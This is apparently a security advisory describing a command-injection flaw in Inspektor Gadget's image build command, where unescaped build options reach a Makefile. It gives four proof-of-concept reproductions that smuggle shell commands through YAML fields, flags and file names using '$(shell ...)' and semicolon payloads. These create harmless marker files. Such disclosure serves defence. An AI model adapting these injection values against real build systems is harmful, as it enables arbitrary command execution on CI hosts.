inspektor-gadget/cmd/common/image/build.go
inspektor-gadget/cmd/common/image/helpers/Makefile.build
The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.
A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.
The following is the code responsible to construct the build command:
func buildCmd(options buildOptions) []string {
cmd := []string{
"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
"-j", fmt.Sprintf("%d", runtime.NumCPU()),
"OUTPUTDIR=" + options.outputDir,
"CFLAGS=" + options.cFlags,
"FORCE_COLORS=" + options.forceColorsFlag,
}
if options.ebpfSourcePath != "" {
cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
}
if options.wasmSourcePath != "" {
cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
}
if options.btfgen {
cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
}
return cmd
}
The Makefile.build file is the Makefile template employed during the building process.
This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.
This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.
An attacker able to exploit this vulnerability would be able to execute arbitray command:
ig command is launched, if images are built with the --local flagig, if the --local flag is not providedThe buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.
Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.
build.yaml with the following content:ebpfsource: "program.bpf.c"
metadata: "gadget.yaml"
cflags: " ; touch poc1.txt ; "
gadget.yaml with the following content:name: test
description: test gadget
program.bpf.c with the following content:#include <gadget/gadget.h>
char LICENSE[] SEC("license") = "GPL";
ig image build . -t test:latest
poc1.txt gets created inside the directory.build.yaml with the following content:ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
$(shell touch poc2-1.txt):touch '$(shell touch poc2-1.txt)'
ig image build .
poc2-1.txt and poc2-2.txt get created inside the directory.build.yaml with the following content:wasm: dummy.go
gadget.yaml with the following content:name: test
$(shell touch poc3.txt):touch '$(shell touch poc3.txt)'
readlink -f '$(shell touch poc3.txt)'
<PATH> placeholder with the value retrieved at step 4:ig image build . --local -o '<PATH>'
poc3.txt gets created inside the directory.build.yaml with the following content:ebpfsource: test.c
test.c:touch test.c
sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'
poc4.txt gets created inside the directory.Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution.
{
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:44:22Z",
"nvd_published_at": "2026-01-29T22:15:55Z",
"severity": "MODERATE"
}